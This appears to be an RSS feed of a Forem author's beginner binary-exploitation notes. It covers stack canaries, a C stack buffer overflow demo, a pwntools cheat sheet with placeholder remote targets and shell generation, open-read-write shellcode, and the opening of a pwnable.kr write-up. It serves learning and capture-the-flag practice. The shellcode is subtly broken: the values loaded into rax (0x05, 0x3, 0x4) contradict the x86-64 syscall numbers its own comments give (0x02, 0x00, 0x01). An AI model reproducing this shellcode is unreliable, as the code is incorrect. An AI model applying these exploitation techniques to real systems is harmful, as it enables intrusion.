<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Hyunseung Ha</title>
    <description>The latest articles on Forem by Hyunseung Ha (@hejhs).</description>
    <link>https://forem.com/hejhs</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F950195%2Fc2ab37d1-2c8c-4b8c-8c3b-1fc75a0812ec.png</url>
      <title>Forem: Hyunseung Ha</title>
      <link>https://forem.com/hejhs</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/hejhs"/>
    <language>en</language>
    <item>
      <title>[PWN.05] What is Canary 🦜</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Sun, 04 Dec 2022 22:30:00 +0000</pubDate>
      <link>https://forem.com/hejhs/pwn05-what-is-canary-2n98</link>
      <guid>https://forem.com/hejhs/pwn05-what-is-canary-2n98</guid>
      <description>&lt;p&gt;&lt;strong&gt;Canary&lt;/strong&gt; comes from a bird name called the Canary. &lt;br&gt;
Canary is used for Protecting Stack buffer.&lt;/p&gt;

&lt;p&gt;If we exploit &lt;a href="https://en.wikipedia.org/wiki/Buffer_overflow" rel="noopener noreferrer"&gt;RAO(Return Address Overwrite)&lt;/a&gt;, We put a bunch of data into the buffer up to the return address.&lt;br&gt;
so that we can exploit what we want to execute code.&lt;/p&gt;

&lt;p&gt;BUT, What if there is a kind of Barrier like It is compromised when &lt;em&gt;something&lt;/em&gt; is tampered with.&lt;br&gt;
YES, The barrier is called the Canary.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8phzvxieh7r2zuqrberr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8phzvxieh7r2zuqrberr.jpg" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;QWORD&lt;/span&gt; &lt;span class="n"&gt;PTR&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Process read a Canary value from &lt;code&gt;fs:0x28&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;QWORD&lt;/span&gt; &lt;span class="n"&gt;PTR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;xor&lt;/span&gt; &lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;QWORD&lt;/span&gt; &lt;span class="n"&gt;PTR&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;
&lt;span class="n"&gt;je&lt;/span&gt; &lt;span class="n"&gt;CODE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If rcx, value of rbp-0x8, is same with fs:0x28, it means &lt;strong&gt;Canary&lt;/strong&gt; hasn't been tampered with!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>[PWN.04] Stack Buffer Overflow</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Sun, 04 Dec 2022 14:06:11 +0000</pubDate>
      <link>https://forem.com/hejhs/pwn04-stack-buffer-overflow-onk</link>
      <guid>https://forem.com/hejhs/pwn04-stack-buffer-overflow-onk</guid>
      <description>&lt;p&gt;What is &lt;strong&gt;Stack Buffer Overflow&lt;/strong&gt;?&lt;br&gt;
it occurs when data exceeding the buffer size of the stack is entered.&lt;/p&gt;

&lt;p&gt;Buffer : where data is stored in &lt;br&gt;
Overflow : exceeding &lt;/p&gt;

&lt;p&gt;If the Buffer is in Stack, It is called as Stack Buffer.&lt;br&gt;
If the Buffer is in Heap, It is called as Heap Buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;overflowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;overflowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"OVERFLOWED!!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stack Buffer layout is same with a following pic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvtpzcjsgm3f1359bz4v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvtpzcjsgm3f1359bz4v.png" alt="Image description" width="522" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we enter more than 15 digits of data into &lt;em&gt;input&lt;/em&gt;, additional values ​​will be stored in &lt;em&gt;overflowed&lt;/em&gt;.&lt;br&gt;
so It will output &lt;code&gt;OVERFLOWED!!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;How to mitigate it ? &lt;br&gt;
We can think about it.&lt;br&gt;
First, we should check the size of input data. &lt;br&gt;
Second, We can use the Canary!&lt;br&gt;
Third, Enable ASLR(Address Space Layout Randomization)&lt;/p&gt;

&lt;p&gt;And There are more methods to mitigate.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webpack</category>
      <category>vite</category>
      <category>webdev</category>
    </item>
    <item>
      <title>[PWN.03] Exploitation with pwntools</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Sun, 13 Nov 2022 13:55:46 +0000</pubDate>
      <link>https://forem.com/hejhs/pwn03-exploitation-with-pwntools-14co</link>
      <guid>https://forem.com/hejhs/pwn03-exploitation-with-pwntools-14co</guid>
      <description>&lt;p&gt;&lt;strong&gt;pwntools&lt;/strong&gt; is a python tool used for exploitation.&lt;br&gt;
We can use it and exploit easier than in the past.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/python
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="c1"&gt;# remote connection
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{IP}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Write payload to exploit
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;# Send data to {IP}
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendafter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{STRING FROM REMOTE}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendlineafter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{STRING FROM REMOTE}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Receive data from Remote
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{STRING}"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt;

&lt;span class="c1"&gt;# Change to Little endian or Big Endian
# Little endian
&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# Big Endian
&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# for PLT(Procedure Linkage Table) and GOT(Global Offset 
&lt;/span&gt;&lt;span class="n"&gt;Table&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ELF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'{FILE}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;puts_plt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'puts'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;read_got&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;got&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'read'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Set architecture
&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"amd64"&lt;/span&gt; &lt;span class="c1"&gt;# or i386, arm
&lt;/span&gt;
&lt;span class="c1"&gt;# SHELL making AUTOMATICALLY
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shellcraft&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can easily perform exploits using the above.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>[PWN.02] Open Read Write</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Sun, 23 Oct 2022 08:07:35 +0000</pubDate>
      <link>https://forem.com/hejhs/pwn02-open-read-write-1l08</link>
      <guid>https://forem.com/hejhs/pwn02-open-read-write-1l08</guid>
      <description>&lt;h3&gt;
  
  
  Open Read Write
&lt;/h3&gt;

&lt;p&gt;We &lt;strong&gt;Open&lt;/strong&gt; &lt;em&gt;files&lt;/em&gt; and &lt;strong&gt;Read&lt;/strong&gt; data from &lt;em&gt;files&lt;/em&gt;, &lt;strong&gt;Write&lt;/strong&gt; data into &lt;em&gt;files&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In this section, We learn ORW to exploit and get shell command shell. &lt;/p&gt;

&lt;p&gt;Following is ORW Syscall: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--riKKee5Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/44dre7cryqgty7rdfmpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--riKKee5Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/44dre7cryqgty7rdfmpu.png" alt="Image description" width="880" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Firs, How to open file?:&lt;br&gt;
&lt;em&gt;file&lt;/em&gt; is /tmp/file&lt;br&gt;
We have to Push the file path into Stack. &lt;br&gt;
/tmp/file = 0x6c69662f706d742f65&lt;br&gt;
The above hexadecimal value is written in little-endian basis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6c69662f706d742f&lt;/span&gt;
&lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;rdi&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;xor&lt;/span&gt; &lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rsi&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;XOR&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="n"&gt;rsi&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;means&lt;/span&gt; &lt;span class="n"&gt;O_RDONLY&lt;/span&gt;
&lt;span class="n"&gt;xor&lt;/span&gt; &lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rdx&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;There&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Open&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Open&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mh"&gt;0x02&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;syscall&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/tmp/file"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RD_ONLY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second How to read file?:&lt;br&gt;
We can write how to read file with code similar to the above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;We&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;)[]&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;sub&lt;/span&gt; &lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;bufsize&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Read&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;
&lt;span class="n"&gt;syscall&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, We already know how to write file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;STDOUT&lt;/span&gt; &lt;span class="n"&gt;or&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Write&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;syscall&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We use &lt;strong&gt;&lt;em&gt;syscall&lt;/em&gt;&lt;/strong&gt; to call kernel functions.&lt;br&gt;
We can't use kernel functions in user mode in general. but we can call kernel function by System call.&lt;/p&gt;

&lt;p&gt;There are many &lt;strong&gt;&lt;em&gt;syscall&lt;/em&gt;&lt;/strong&gt; to use so we can find it out more!&lt;br&gt;
&lt;a href="https://faculty.nps.edu/cseagle/assembly/sys_call.html"&gt;https://faculty.nps.edu/cseagle/assembly/sys_call.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>pwnable</category>
      <category>security</category>
    </item>
    <item>
      <title>[pwnable.kr] fd writeup</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Thu, 20 Oct 2022 16:19:15 +0000</pubDate>
      <link>https://forem.com/hejhs/pwnablekr-fd-writeup-4ao</link>
      <guid>https://forem.com/hejhs/pwnablekr-fd-writeup-4ao</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -al
total 40
drwxr-x---   5 root   fd   4096 Oct 26  2016 .
drwxr-xr-x 116 root   root 4096 Nov 11  2021 ..
d---------   2 root   root 4096 Jun 12  2014 .bash_history
-r-sr-x---   1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r--   1 root   root  418 Jun 11  2014 fd.c
-r--r-----   1 fd_pwn root   50 Jun 11  2014 flag
-rw-------   1 root   root  128 Oct 26  2016 .gdb_history
dr-xr-xr-x   2 root   root 4096 Dec 19  2016 .irssi
drwxr-xr-x   2 root   root 4096 Oct 23  2016 .pwntools-cache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



